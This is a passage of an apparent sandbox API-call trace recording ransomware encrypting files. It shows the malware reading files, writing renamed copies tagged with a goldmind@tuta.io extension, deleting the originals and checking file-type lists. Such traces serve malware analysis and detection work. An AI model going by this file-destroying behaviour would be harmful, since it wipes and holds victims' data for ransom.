hFile=0x194, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x1af0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x1af0, lpOverlapped=0x0) returned 1 [0090.954] ReadFile (in: hFile=0x19c, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0090.954] WriteFile (in: hFile=0x194, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0090.954] SetEndOfFile (hFile=0x194) returned 1 [0090.954] CloseHandle (hObject=0x194) returned 1 [0090.954] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.954] SetEndOfFile (hFile=0x19c) returned 1 [0090.956] CloseHandle (hObject=0x19c) returned 1 [0090.956] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0090.957] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid")) returned 1 [0090.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0090.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0090.957] lstrlenW (lpString=".doc") returned 4 [0090.957] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0090.957] lstrlenW (lpString=".docx") returned 5 [0090.957] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0090.957] lstrlenW (lpString=".pdf") returned 4 [0090.957] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0090.957] lstrlenW (lpString=".xls") returned 4 [0090.957] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0090.957] lstrlenW (lpString=".xlsx") returned 5 [0090.957] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0090.957] lstrlenW (lpString=".ppt") returned 4 [0090.957] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0090.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0090.957] lstrlenW (lpString=".zip") returned 4 [0090.957] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0090.957] lstrlenW (lpString=".rar") returned 4 [0090.957] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0090.957] lstrlenW (lpString=".bz2") returned 4 [0090.957] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0090.957] lstrlenW (lpString=".7z") returned 3 [0090.958] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0090.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0090.958] lstrlenW (lpString=".dbf") returned 4 [0090.958] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0090.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0090.958] lstrlenW (lpString=".1cd") returned 4 [0090.958] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0090.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0090.958] lstrlenW (lpString=".jpg") returned 4 [0090.958] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0090.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0090.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0090.958] lstrlenW (lpString=".doc") returned 4 [0090.958] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0090.958] lstrlenW (lpString=".docx") returned 5 [0090.958] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0090.958] lstrlenW (lpString=".pdf") returned 4 [0090.958] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0090.958] lstrlenW (lpString=".xls") returned 4 [0090.958] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0090.958] lstrlenW (lpString=".xlsx") returned 5 [0090.958] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0090.958] lstrlenW (lpString=".ppt") returned 4 [0090.958] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0090.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0090.958] lstrlenW (lpString=".zip") returned 4 [0090.958] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0090.958] lstrlenW (lpString=".rar") returned 4 [0090.958] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0090.958] lstrlenW (lpString=".bz2") returned 4 [0090.958] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0090.958] lstrlenW (lpString=".7z") returned 3 [0090.958] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0090.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0090.958] lstrlenW (lpString=".dbf") returned 4 [0090.958] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0090.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0090.958] lstrlenW (lpString=".1cd") returned 4 [0090.958] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0090.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0090.958] lstrlenW (lpString=".jpg") returned 4 [0090.958] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0090.958] lstrcmpiW (lpString1=".MID", lpString2=".gold") returned 1 [0090.958] lstrlenW (lpString="NBOOK_01.MID") returned 12 [0090.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0090.963] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=5968) returned 1 [0090.963] CloseHandle (hObject=0x19c) returned 1 [0090.963] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid")) returned 0x20 [0090.963] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0090.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0090.963] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.963] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0090.964] GetLastError () returned 0x0 [0090.964] ReadFile (in: hFile=0x19c, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x1750, lpOverlapped=0x0) returned 1 [0091.162] WriteFile (in: hFile=0x194, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x1760, lpOverlapped=0x0) returned 1 [0093.646] ReadFile (in: hFile=0x19c, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0093.646] WriteFile (in: hFile=0x194, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0093.646] SetEndOfFile (hFile=0x194) returned 1 [0093.947] CloseHandle (hObject=0x194) returned 1 [0094.175] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.175] SetEndOfFile (hFile=0x19c) returned 1 [0094.176] CloseHandle (hObject=0x19c) returned 1 [0094.176] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0094.391] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid")) returned 1 [0094.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0094.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0094.436] lstrlenW (lpString=".doc") returned 4 [0094.437] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0094.437] lstrlenW (lpString=".docx") returned 5 [0094.437] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0094.437] lstrlenW (lpString=".pdf") returned 4 [0094.437] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0094.437] lstrlenW (lpString=".xls") returned 4 [0094.437] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0094.437] lstrlenW (lpString=".xlsx") returned 5 [0094.437] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0094.437] lstrlenW (lpString=".ppt") returned 4 [0094.437] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0094.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0094.437] lstrlenW (lpString=".zip") returned 4 [0094.437] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0094.437] lstrlenW (lpString=".rar") returned 4 [0094.437] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0094.437] lstrlenW (lpString=".bz2") returned 4 [0094.437] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0094.437] lstrlenW (lpString=".7z") returned 3 [0094.437] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0094.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0094.437] lstrlenW (lpString=".dbf") returned 4 [0094.437] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0094.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0094.437] lstrlenW (lpString=".1cd") returned 4 [0094.437] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0094.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0094.437] lstrlenW (lpString=".jpg") returned 4 [0094.437] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0094.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0094.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0094.437] lstrlenW (lpString=".doc") returned 4 [0094.437] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0094.437] lstrlenW (lpString=".docx") returned 5 [0094.437] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0094.437] lstrlenW (lpString=".pdf") returned 4 [0094.437] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0094.437] lstrlenW (lpString=".xls") returned 4 [0094.437] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0094.437] lstrlenW (lpString=".xlsx") returned 5 [0094.437] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0094.437] lstrlenW (lpString=".ppt") returned 4 [0094.437] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0094.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0094.438] lstrlenW (lpString=".zip") returned 4 [0094.438] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0094.438] lstrlenW (lpString=".rar") returned 4 [0094.438] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0094.438] lstrlenW (lpString=".bz2") returned 4 [0094.438] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0094.438] lstrlenW (lpString=".7z") returned 3 [0094.438] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0094.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0094.438] lstrlenW (lpString=".dbf") returned 4 [0094.438] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0094.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0094.438] lstrlenW (lpString=".1cd") returned 4 [0094.438] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0094.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0094.438] lstrlenW (lpString=".jpg") returned 4 [0094.438] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0094.438] lstrcmpiW (lpString1=".MID", lpString2=".gold") returned 1 [0094.438] lstrlenW (lpString="OUTDR_01.MID") returned 12 [0094.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0094.455] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=6644) returned 1 [0094.455] CloseHandle (hObject=0x3a8) returned 1 [0094.455] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid")) returned 0x20 [0094.497] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0094.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0094.550] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.550] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0094.579] GetLastError () returned 0x0 [0094.579] ReadFile (in: hFile=0x3b8, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x19f4, lpOverlapped=0x0) returned 1 [0094.589] WriteFile (in: hFile=0x3b4, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x1a00, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x1a00, lpOverlapped=0x0) returned 1 [0094.590] ReadFile (in: hFile=0x3b8, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0094.590] WriteFile (in: hFile=0x3b4, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0094.590] SetEndOfFile (hFile=0x3b4) returned 1 [0094.590] CloseHandle (hObject=0x3b4) returned 1 [0094.590] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.591] SetEndOfFile (hFile=0x3b8) returned 1 [0094.592] CloseHandle (hObject=0x3b8) returned 1 [0094.592] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0094.636] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid")) returned 1 [0094.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0094.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0094.636] lstrlenW (lpString=".doc") returned 4 [0094.637] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0094.637] lstrlenW (lpString=".docx") returned 5 [0094.637] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0094.637] lstrlenW (lpString=".pdf") returned 4 [0094.637] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0094.637] lstrlenW (lpString=".xls") returned 4 [0094.637] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0094.637] lstrlenW (lpString=".xlsx") returned 5 [0094.637] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0094.637] lstrlenW (lpString=".ppt") returned 4 [0094.637] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0094.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0094.637] lstrlenW (lpString=".zip") returned 4 [0094.637] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0094.637] lstrlenW (lpString=".rar") returned 4 [0094.637] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0094.637] lstrlenW (lpString=".bz2") returned 4 [0094.637] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0094.637] lstrlenW (lpString=".7z") returned 3 [0094.637] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0094.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0094.637] lstrlenW (lpString=".dbf") returned 4 [0094.637] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0094.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0094.637] lstrlenW (lpString=".1cd") returned 4 [0094.637] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0094.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0094.637] lstrlenW (lpString=".jpg") returned 4 [0094.637] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0094.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0094.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0094.637] lstrlenW (lpString=".doc") returned 4 [0094.637] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0094.637] lstrlenW (lpString=".docx") returned 5 [0094.637] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0094.637] lstrlenW (lpString=".pdf") returned 4 [0094.637] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0094.637] lstrlenW (lpString=".xls") returned 4 [0094.637] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0094.637] lstrlenW (lpString=".xlsx") returned 5 [0094.637] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0094.637] lstrlenW (lpString=".ppt") returned 4 [0094.637] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0094.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0094.637] lstrlenW (lpString=".zip") returned 4 [0094.637] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0094.637] lstrlenW (lpString=".rar") returned 4 [0094.637] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0094.637] lstrlenW (lpString=".bz2") returned 4 [0094.637] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0094.637] lstrlenW (lpString=".7z") returned 3 [0094.637] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0094.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0094.637] lstrlenW (lpString=".dbf") returned 4 [0094.638] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0094.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0094.638] lstrlenW (lpString=".1cd") returned 4 [0094.638] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0094.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0094.638] lstrlenW (lpString=".jpg") returned 4 [0094.638] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0094.638] lstrcmpiW (lpString1=".MID", lpString2=".gold") returned 1 [0094.638] lstrlenW (lpString="SPRNG_01.MID") returned 12 [0094.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0094.638] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=6700) returned 1 [0094.638] CloseHandle (hObject=0x3c0) returned 1 [0094.638] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid")) returned 0x20 [0094.638] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0094.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0094.639] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.639] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0094.671] GetLastError () returned 0x0 [0094.671] ReadFile (in: hFile=0x3c0, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x1a2c, lpOverlapped=0x0) returned 1 [0094.672] WriteFile (in: hFile=0x39c, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x1a30, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x1a30, lpOverlapped=0x0) returned 1 [0094.673] ReadFile (in: hFile=0x3c0, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0094.673] WriteFile (in: hFile=0x39c, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, 